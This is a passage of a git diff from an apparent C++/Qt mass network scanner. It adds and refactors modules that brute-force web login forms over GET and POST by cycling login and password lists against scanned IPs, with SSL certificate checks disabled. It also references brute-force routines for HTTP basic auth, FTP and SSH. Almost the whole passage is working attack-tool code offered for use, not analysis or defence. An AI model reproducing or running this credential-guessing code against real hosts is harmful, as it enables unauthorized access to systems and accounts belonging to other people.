CURLOPT_SSL_VERIFYPEER, 0L); + curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); + curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nWriteCallback); + curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer); + curl_easy_setopt(curl, CURLOPT_PROXY, "--"); + curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128); + curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); + curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut); + curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut); + + if(postData != NULL) { + + curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData); + }; + + if(customHeaders != NULL) { + + struct curl_slist *chunk = NULL; + + for(auto &ch : customHeaders) { + + chunk = curl_slist_append(chunk, *ch); + } + + curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk); + } + + curl_easy_perform(curl); + curl_easy_cleanup(curl); + } else { + stt->doEmitionRedFoundData("Curl error."); + return -1; + }; + + return buffer->size(); +} +int Connector::_ConnectToPort(char *ip, int port, char *hl) +{ + if(gPingNScan) + { + if(_pingMyTarget(ip) == 0) + { + return -2; + }; + }; + + std::string buffer; + int size = 0; + + if(port == 22) size = _SSHLobby(ip, port, &buffer); + else size = nConnect(ip, port, &buffer); + + if(size > 0) + { + ++Alive; + ++found; + stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); + + conSTR CSTR; + CSTR.lowerBuff = new char[size + 1]; + CSTR.size = size; + memcpy(CSTR.lowerBuff, buffer.c_str(), size); + memset(CSTR.lowerBuff + size, '\0', 1); + + Lexems lx; + lx._filler(port, (char *)buffer.c_str(), ip, size, &lx, hl); + + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + + return 0; +} diff --git a/Connector.h b/Connector.h new file mode 100644 index 0000000..24cf8da --- /dev/null +++ b/Connector.h @@ -0,0 +1,20 @@ +#ifndef CONNECTOR_H +#define CONNECTOR_H + +class Connector { + +private: + int _sshConnect(char *user, char *pass, char *host, int port); + int _get_ssh_banner(char *ip, int port); + int check_ssh_pass(char *user, char *pass, char *userPass, + char *host, int port, std::string *buffer, const char *banner); + int _EstablishSSHConnection(char *host, int port, std::string *buffer, const char *banner); + +public: + static int nConnect(char *ip, int port, std::string *buffer, + const char *postData = NULL, + const std::vector<std::string> *customHeaders = NULL); + static int _ConnectToPort(char *ip, int port, char *hl); + static int _SSHLobby(char *ip, int port, std::string *buffer); +}; +#endif // CONNECTOR_H diff --git a/DrawerTh_ME2Scanner.cpp b/DrawerTh_ME2Scanner.cpp index 349af92..3f6dae4 100644 --- a/DrawerTh_ME2Scanner.cpp +++ b/DrawerTh_ME2Scanner.cpp @@ -1,6 +1,7 @@ #include "DrawerTh_ME2Scanner.h" #include "STh.h" #include "externData.h" +#include <WebformWorker.h> void DrawerTh_ME2Scanner::doEmitDrawTextPlacers() { @@ -45,7 +46,7 @@ void MakePolygonLine(int gWidth) if(xtx > 34 && xtx < 72) { - qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - WF*2 - fact2 : 20); + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - WF*2 - fact2 : 20); if(WF > 0) { diff --git a/Utils.cpp b/Utils.cpp new file mode 100644 index 0000000..20c299c --- /dev/null +++ b/Utils.cpp @@ -0,0 +1,11 @@ +#include <Utils.h> + +template<typename T> int Utils::ci_find_substr(const T& str1, + const T& str2, + const std::locale& locale) { + + auto it = std::search(str1.begin, str1.end, str2.begin, str2.end, + my_equal<typename T::value_type>(locale)); + if(it != str1.end()) return it - str1.begin(); + else return -1; +} diff --git a/Utils.h b/Utils.h new file mode 100644 index 0000000..213faf9 --- /dev/null +++ b/Utils.h @@ -0,0 +1,25 @@ +#ifndef UTILS_H +#define UTILS_H + +#include <iostream> +#include <algorithm> + +template<typename charT> +struct my_equal { + my_equal( const std::locale loc ) : loc_(loc) {} + bool operator()(charT ch1, charT ch2) { + return std::toupper(ch1, loc_) == std::toupper(ch2, loc_); + } +private: + const std::locale& loc_; +}; + +class Utils { +public: + // find substring (case insensitive) + template<typename T> static int ci_find_substr(const T& str1, + const T& str2, + const std::locale& loc = std::locale()); +}; + +#endif // UTILS_H diff --git a/WebformWorker.cpp b/WebformWorker.cpp new file mode 100644 index 0000000..556f3c6 --- /dev/null +++ b/WebformWorker.cpp @@ -0,0 +1,161 @@ +#include <WebformWorker.h> + +lopaStr WFClass::parseResponse(const char *ip, + const int port, + const std::string *buffer, + const char* formVal, + const int *iIndex, + const int *jIndex) { + + lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"}; + + if(buffer->size() != 0) + { + if(Utils::ci_find_substr(*buffer, std::string(formVal)) == -1 + && Utils::ci_find_substr(*buffer, std::string("denied")) == -1 + && Utils::ci_find_substr(*buffer, std::string("Location:")) == -1 + && Utils::ci_find_substr(*buffer, std::string("Authentication required")) == -1 + && Utils::ci_find_substr(*buffer, std::string("invalid")) == -1 + && Utils::ci_find_substr(*buffer, std::string("err")) == -1 + && Utils::ci_find_substr(*buffer, std::string(".href")) == -1 + && Utils::ci_find_substr(*buffer, std::string(".replace")) == -1 + && Utils::ci_find_substr(*buffer, std::string(".location")) == -1 + && Utils::ci_find_substr(*buffer, std::string("501 not implemented")) == -1 + && Utils::ci_find_substr(*buffer, std::string("http-equiv")) == -1 + && Utils::ci_find_substr(*buffer, std::string("busy")) == -1 + && Utils::ci_find_substr(*buffer, std::string("later")) == -1 + && Utils::ci_find_substr(*buffer, std::string("forbidden")) == -1 + ) { + + if(*iIndex == 0) return result; + + stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " + + QString(wfLoginLst[*iIndex]) + ":" + QString(wfPassLst[*jIndex])); + strcpy(result.login, wfLoginLst[*iIndex]); + strcpy(result.pass, wfPassLst[*jIndex]); + return result; + + } else { + + if(Utils::ci_find_substr(*buffer, std::string("501 not implemented")) != -1) stt->doEmitionRedFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 501 Not Implemented."); + + if(Utils::ci_find_substr(*buffer, std::string("404 not found")) != -1) stt->doEmitionRedFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 404 Not Found."); + + return result; + } + } + else return result; +} + +lopaStr WFClass::doGetCheck(char *ip, + int port, + char *actionVal, + char *userVal, + char *passVal, + char *formVal) { + + lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"}; + int passCounter = 0; + int firstCycle = 0; + + for(int i = 0; i < MaxWFLogin; ++i) + { + if(globalScanFlag == false) break; + for(int j = firstCycle; j < MaxWFPass; ++j) + { + if(globalScanFlag == false) break; + + int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4; + + if(rSize > 256) { + stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")"); + return result; + }; + + char nip[256] = {0}; + sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, wfLoginLst[i], passVal, wfPassLst[j]); + + std::string buffer; + Connector::nConnect(nip, port, &buffer); + + if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); + ++passCounter; + + result = parseResponse(ip, port, &buffer, formVal, &i, &j); + if(i == 0) ++i; + } + firstCycle = 1; + } + + return result; +} + +lopaStr WFClass::doPostCheck(char *ip, + int port, + char *actionVal, + char *userVal, + char *passVal, + char *formVal) { + + lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"}; + int passCounter = 0; + int firstCycle = 0; + + for(int i = 0; i < MaxWFLogin; ++i) + { + if(globalScanFlag == false) break; + for(int j = firstCycle; j < MaxWFPass; ++j) + { + if(globalScanFlag == false) break; + + int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4; + + if(rSize > 256) { + stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")"); + return result; + }; + + char nip[256] = {0}; + char postData[256] = {0}; + sprintf(nip, "%s%s", ip, actionVal); + sprintf(postData, "%s=%s&%s=%s", userVal, wfLoginLst[i], passVal, wfPassLst[j]); + + std::string buffer; + Connector::nConnect(nip, port, &buffer, postData); + + if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); + ++passCounter; + + return parseResponse(ip, port, &buffer, formVal, &i, &j); + if(i == 0) ++i; + } + firstCycle = 1; + } + + return result; +} + +lopaStr WFClass::_WFBrute( char *ip, + int port, + char *methodVal, + char *actionVal, + char *userVal, + char *passVal, + char *formVal) { + + lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"}; + + if(strstri(methodVal, "get") != NULL) { + result = doGetCheck(ip, port, actionVal, userVal, passVal, formVal); + } else if(strstri(methodVal, "post") != NULL) { + result = doPostCheck(ip, port, actionVal, userVal, passVal, formVal); + } else { + stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + + ":" + QString::number(port) + + "\"><font color=\"#c3c3c3\">" + + QString(ip) + ":" + QString::number(port) + + "</font></a> - [WF]: Unknown method."); + }; + + return result; +} diff --git a/WebformWorker.h b/WebformWorker.h new file mode 100644 index 0000000..659259b --- /dev/null +++ b/WebformWorker.h @@ -0,0 +1,46 @@ +#ifndef WEBFORMWORKER_H +#define WEBFORMWORKER_H + +#include <mainResources.h> +#include <externData.h> +#include <externFunctions.h> +#include <Utils.h> +#include "STh.h" + +class WFClass { + +private: static bool active; + int passCounter = 1; + lopaStr doGetCheck(char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal); + lopaStr doPostCheck(char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal); + lopaStr parseResponse(const char *ip, const int port, const std::string *buffer, const char* formVal, + const int *iIndex, + const int *jIndex); + + +public: + WFClass(){ + + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + ++WF; + BConInc(); + active = true; + passCounter = 1; + } + + ~WFClass(){ + active = false; + BConDec(); + } + + lopaStr _WFBrute(char *ip, + int port, + char *methodVal, + char *actionVal, + char *userVal, + char *passVal, + char *formVal); +}; + +#endif // WEBFORMWORKER_H diff --git a/connector.cpp b/connector_old.cpp similarity index 67% rename from connector.cpp rename to connector_old.cpp index 358cdca..e2c8eb5 100644 --- a/connector.cpp +++ b/connector_old.cpp @@ -7,6 +7,7 @@ #include "externFunctions.h" #include "externData.h" #include <openssl/err.h> +#include <Utils.h> #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #include <iphlpapi.h> @@ -899,7 +900,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) return lps; } -lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL) +lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); @@ -1328,7 +1329,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps) return lps; } -lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps) +lopaStr _FTPLobby(char *ip, int port, PathStr *ps) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); @@ -1344,830 +1345,6 @@ lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps) return lps; } -int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR) -{ - SSL *ssl = NULL; - int bytes = 0; - char *recvBuff2 = 0; - int resCode = 0; - - const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */ - SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */ - if(ctx != NULL) - { - SOCKET sock; - SSL_CTX_set_timeout(ctx, gTimeOut); - resCode = OpenConnection(&sock, iph, porth); - if(resCode >= 0) - { - ssl = SSL_new(ctx); /* create new SSL connection state */ - SSL_set_fd(ssl, sock); /* attach the socket descriptor */ - - if(SSL_connect(ssl)) - { - SSL_write(ssl, requesth, strlen(requesth)); - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(iph), QString(requesth)); - - int x = 256; - char recvBuff[8192] = {0}; - recvBuff2 = new char[RECV_MAX_SIZE]; - ZeroMemory(recvBuff2, RECV_MAX_SIZE); - - while (x > 0) - { - ZeroMemory(recvBuff, sizeof(recvBuff)); - x = SSL_read(ssl, recvBuff, sizeof(recvBuff)); - if(x <= 0) break; - - bytes += x; - Activity += x; - - if( bytes > RECV_MAX_SIZE ) - { - if(strstri(recvBuff2, "http/1.") == NULL) - { - if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); - delete[] recvBuff2; - recvBuff2 = NULL; - CSSOCKET(sock); - - ++Overl; - - CSTR->lowerBuff = new char[11]; - strcpy(CSTR->lowerBuff, "[OVERFLOW]"); - CSTR->size = 10; - SSL_free(ssl); - SSL_CTX_free(ctx); /* release context */ - return 0; - } - else break; - }; - if(globalScanFlag == true) - { - if(x > 0) - { - memset((void*)(recvBuff + x), '\0', 1); - strcat(recvBuff2, recvBuff); - } - else - { - if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); - - delete[] recvBuff2; - recvBuff2 = NULL; - CSSOCKET(sock); - CSTR->lowerBuff = new char[12]; - strcpy(CSTR->lowerBuff, "[IGNR_ADDR]"); - - CSTR->size = 11; - SSL_free(ssl); - SSL_CTX_free(ctx); /* release context */ - return 0; - }; - }; - }; - - if(bytes < 0) - { - stt->doEmitionRedFoundData("[SSL](_SSLConnect [bytes < 0]) " + QString(iph) + ":" + QString::number(porth)); - }; - - SSL_free(ssl); - CSSOCKET(sock); - SSL_CTX_free(ctx); /* release context */ - - if(bytes == 0 || recvBuff2 == NULL) - { - if(recvBuff2 != NULL) delete []recvBuff2; - recvBuff2 = NULL; - CSTR->lowerBuff = new char[1]; - strcpy(CSTR->lowerBuff, ""); - CSTR->size = 0; - return -1; - }; - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(iph), QString(recvBuff2)); - std::string res2 = ""; - if(strlen(recvBuff2) > bytes) bytes = strlen(recvBuff2); - CSTR->lowerBuff = new char[bytes + 1]; - ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); - - strncpy(CSTR->lowerBuff, recvBuff2, bytes); - - delete[] recvBuff2; - recvBuff2 = NULL; - CSTR->size = bytes; - if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, CSTR->lowerBuff); - return 0; - } - else - { - delete[] recvBuff2; - recvBuff2 = NULL; - CSSOCKET(sock); - SSL_free(ssl); - SSL_CTX_free(ctx); /* release context */ - CSTR->lowerBuff = new char[1]; - strcpy(CSTR->lowerBuff, ""); - CSTR->size = 0; - return 0; - }; - } else return -1; - } - else - { - char buff1[512] = {0}; - char buff2[512] = {0}; - - ERR_error_string(ERR_peek_error(), buff1); - ERR_error_string(ERR_peek_last_error(), buff2); - stt->doEmitionRedFoundData(QString(iph) + ":" + QString(porth) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); - return -1; - } -} - -int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, conSTR *CSTR) -{ - return _sslConnectTo(iph, porth, requesth, CSTR); -} - -void __deleteExcessiveNullBytes(char *buff, int sz) -{ - int j = 0; - for(int i = 0; i < sz - 1; ++i) - { - if(buff[i] != 0) buff[j++] = buff[i]; - }; -} - -struct linger linger = { 0 }; -int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *CSTR, int force) -{ - CSTR->lowerBuff = NULL; - if(strlen(ip) == 0) - { - return -1; - }; - if(port < 0 || port > 65535) - { - return -1; - }; - - char *recvBuff2 = NULL; - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(port); - - HOSTENT *host; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); -#else - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); -#endif - else if(host = gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - ++offlines; - if(host == NULL) return -2; - else return -1; - }; - - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - while(sock == INVALID_SOCKET) - { - stt->doEmitionRedFoundData("[Cannot create socket]"); - - CSSOCKET(sock); - Sleep(100); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - }; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - u_long FAR cmd = 1; - if( ioctlsocket( sock, FIONBIO, &cmd ) != 0 ) -#else - if( fcntl( sock, F_SETFL, O_NDELAY ) == -1 ) -#endif - { - stt->doEmitionRedFoundData("[FIONBIO failed]"); - }; - - int recvBuffSize = 0; - linger.l_onoff = 1; - linger.l_linger = 5; - setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); - - int iError, iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - while(sock == INVALID_SOCKET) - { - if(gDebugMode) stt->doEmitionDebugFoundData("[Invalid socket]: " + QString::number(WSAGetLastError())); - CSSOCKET(sock); - Sleep(100); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); - iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - }; - - if(iResult == SOCKET_ERROR) - { - iError = WSAGetLastError(); - if (iError == WSAEWOULDBLOCK || iError == WSAEINPROGRESS) - { - fd_set read_fs; - fd_set write_fs; - FD_ZERO(&read_fs); - FD_ZERO(&write_fs); - FD_SET(sock, &read_fs); - FD_SET(sock, &write_fs); - timeval tv = { gTimeOut, 0 }; - - int oldErr = WSAGetLastError(); - iResult = select(sock + 1, &read_fs, &write_fs, NULL, &tv); - - if (iResult == SOCKET_ERROR) - { - ++offlines; - - stt->doEmitionRedFoundData("[Omitting IP] Select error-" + - QString::number(WSAGetLastError()) + " oldErr:" + QString::number(oldErr) + - " sock:" + QString::number(sock) + " -" + QString(ip) + ":" + QString::number(port)); - } - else - { - if (!iResult) { - ++offlines; - stt->doEmitionFoundData(QString::number(WSAGetLastError())); - } - else - { - int sResult = send(sock, request, strlen(request), 0); - - while(sResult == SOCKET_ERROR) - { - CSSOCKET(sock); - Sleep(100); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - sResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(sResult == SOCKET_ERROR) continue; - sResult = send(sock, request, strlen(request), 0); - }; - - if(sResult != SOCKET_ERROR) - { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); - Activity += strlen(request); - char recvBuff[8192] = {0}; - recvBuff2 = new char[RECV_MAX_SIZE]; - ZeroMemory(recvBuff2, RECV_MAX_SIZE); - - int bTO; - int x = 256; - while (x > 0) - { - ZeroMemory(recvBuff, 8192); - x = recvWT(sock, recvBuff, 8192, gTimeOut, &bTO); - if(x <= 0) break; - Activity += x; - recvBuffSize += x; - if( recvBuffSize > RECV_MAX_SIZE ) - { - CSSOCKET(sock); - ++Overl; - - CSTR->lowerBuff = new char[recvBuffSize]; - strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); - CSTR->size = recvBuffSize; - CSTR->overflow = true; - delete[] recvBuff2; - recvBuff2 = NULL; - return 0; - }; - strncat(recvBuff2, recvBuff, x); - }; - - if(strstri(recvBuff2, "no request found") != NULL) - { - ZeroMemory(recvBuff2, RECV_MAX_SIZE); - CSSOCKET(sock); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - send(sock, request, strlen(request), 0); - x = 1; - while (x > 0) - { - ZeroMemory(recvBuff, 8192); - x = recvWT(sock, recvBuff, 8192, gTimeOut, &bTO); - if(x <= 0) break; - Activity += x; - recvBuffSize += x; - if( recvBuffSize > RECV_MAX_SIZE ) - { - CSSOCKET(sock); - ++Overl; - - CSTR->lowerBuff = new char[recvBuffSize]; - strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); - CSTR->size = recvBuffSize; - CSTR->overflow = true; - delete[] recvBuff2; - recvBuff2 = NULL; - return 0; - }; - strncat(recvBuff2, recvBuff, x); - }; - }; - } - else - { - ++offlines; - stt->doEmitionRedFoundData("[_EC] Send error: " + QString(ip) + " - " + QString::number(WSAGetLastError())); - }; - }; - }; - } - else - { - ++offlines; - if (iError == WSAENOBUFS) - { - stt->doEmitionRedFoundData("[ENOBUFS] Connection pool depleted " + QString(ip) + ":" + QString::number(port)); - } - else if (iError == WSAEADDRNOTAVAIL) - { - stt->doEmitionRedFoundData("[EADDRNOTAVAIL] " + QString(ip) + - ":" + QString::number(port) + - " - " + QString::number(iError)); - } - else - { - stt->doEmitionRedFoundData("[Unknown error] " + QString(ip) + - ":" + QString::number(port) + - " - " + QString::number(iError)); - }; - }; - } - else - { - stt->doEmitionRedFoundData("[?!] Strange behavior detected (" + - QString::number(WSAGetLastError()) + - ") " + QString(ip) + ":" + QString::number(port)); - }; - - CSSOCKET(sock); - - if( globalScanFlag == false && force == 0) - { - if(recvBuff2 != NULL) delete []recvBuff2; - recvBuff2 = NULL; - return -1; - }; - - if(recvBuff2 != NULL && recvBuffSize > 0) - { - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); - CSTR->lowerBuff = new char[recvBuffSize + 1]; - ZeroMemory(CSTR->lowerBuff, recvBuffSize + 1); - CSTR->size = recvBuffSize; - strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); - memset(CSTR->lowerBuff + recvBuffSize, '\0', 1); - - delete []recvBuff2; - recvBuff2 = NULL; - if(HTMLDebugMode) _DebugWriteHTMLToFile(request, CSTR->lowerBuff); - return 0; - } - else - { - if(recvBuff2 != NULL) delete []recvBuff2; - recvBuff2 = NULL; - return -1; - }; -} - -lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) -{ - lopaStr lps; - ZeroMemory(lps.login, sizeof(lps.login)); - ZeroMemory(lps.pass, sizeof(lps.pass)); - ZeroMemory(lps.other, sizeof(lps.other)); - - int cookieLen = strlen(cookie); - - char b[16] = {0}; - char request[2048] = {0}; - char argData[256] = {0}; - - Connector con; - conSTR CSTR; - int firstCycle = 0; - if(strstri(methodVal, "get") != NULL) - { - int passCounter = 1; - for(int i = 0; i < MaxWFLogin; ++i) - { - if(globalScanFlag == false) break; - for(int j = firstCycle; j < MaxWFPass; ++j) - { - if(globalScanFlag == false) break; - CSTR.lowerBuff = NULL; - CSTR.size = 0; - - strcpy(request, "GET "); - strcat(request, actionVal); - strcat(request, "?"); - strcat(request, userVal); - strcat(request, "="); - strcat(request, wfLoginLst[i]); - strcat(request, "&"); - strcat(request, passVal); - strcat(request, "="); - strcat(request, wfPassLst[j]); - strcat(request, " HTTP/1.1\r\n"); - strcat(request, "Host: "); - strcat(request, ip); - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - if(cookieLen != 0) - { - strcat(request, "\r\nCookie: "); - strcat(request, cookie); - }; - strcat(request, "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close"); - strcat(request, "\r\n\r\n"); - - if(port == 443) con._EstablishSSLConnection(ip, port, request, &CSTR); - else con._EstablishConnection(ip, port, request, &CSTR); - - if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); - ++passCounter; - - if(CSTR.lowerBuff != NULL) - { - if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) - { - stt->doEmitionRedFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 501 Not Implemented."); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(strstri(CSTR.lowerBuff, "404 not found") != NULL) - { - stt->doEmitionRedFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 404 Not Found."); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL - && strstri(CSTR.lowerBuff, "Location:") == NULL - && strstri(CSTR.lowerBuff, "Access forbidden") == NULL - && strstri(CSTR.lowerBuff, "Authentication required") == NULL - && strstri(CSTR.lowerBuff, "invalid") == NULL - && strstri(CSTR.lowerBuff, "error") == NULL - && strstri(CSTR.lowerBuff, "loginerr") == NULL - && strstri(CSTR.lowerBuff, "passerr") == NULL - && strstri(CSTR.lowerBuff, "passworderr") == NULL - && strstri(CSTR.lowerBuff, "location.href") == NULL - && strstri(CSTR.lowerBuff, "location.replace") == NULL - && strstri(CSTR.lowerBuff, "top.location") == NULL - && strstri(CSTR.lowerBuff, "error_status") == NULL - && strstri(CSTR.lowerBuff, "501 not implemented") == NULL - && strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL - && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL - && strstri(CSTR.lowerBuff, "busy") == NULL - && strstri(CSTR.lowerBuff, "later") == NULL - && strstri(CSTR.lowerBuff, "verification failed") == NULL - && strstri(CSTR.lowerBuff, "403 Forbidden") == NULL - && strstri(CSTR.lowerBuff, formVal) == NULL - - ) - { - if(i == 0) - { - ZeroMemory(request, sizeof(request)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - char pass[256] = {0}; - - ZeroMemory(pass, sizeof(pass)); - strcpy(pass, ip); - strcat(pass, " - Web Form password found: "); - strcat(pass, wfLoginLst[i]); - strcat(pass, ":"); - strcat(pass, wfPassLst[j]); - isActive = 0; - - stt->doEmition_BAGreenData("[+] " + QString(pass)); - - strcpy(lps.login, wfLoginLst[i]); - strcpy(lps.pass, wfPassLst[j]); - return lps; - }; - } - else - { - ZeroMemory(request, sizeof(request)); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - - if(i == 0) ++i; - ZeroMemory(request, sizeof(request)); - }; - firstCycle = 1; - }; - } - else if(strstri(methodVal, "post") != NULL) - { - int passCounter = 1; - int firstCycle = 0; - for(int i = 0; i < MaxWFLogin; ++i) - { - if(globalScanFlag == false) break; - for(int j = firstCycle; j < MaxWFPass; ++j) - { - if(globalScanFlag == false) break; - CSTR.lowerBuff = NULL; - CSTR.size = 0; - - strcpy(argData, userVal); - strcat(argData, "="); - strcat(argData, wfLoginLst[i]); - strcat(argData, "&"); - strcat(argData, passVal); - strcat(argData, "="); - strcat(argData, wfPassLst[j]); - - strcpy(request, "POST "); - strcat(request, actionVal); - strcat(request, " HTTP/1.1\r\n"); - strcat(request, "Host: "); - strcat(request, ip); - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - if(cookieLen != 0) - { - strcat(request, "\r\nCookie: "); - strcat(request, cookie); - }; - strcat(request, "\r\nContent-type: application/x-www-form-urlencoded\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\nContent-Length: "); - sprintf(b, "%d", strlen(argData)); - strcat(request, b); - strcat(request, "\r\n\r\n"); - - strcat(request, argData); - - if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); - 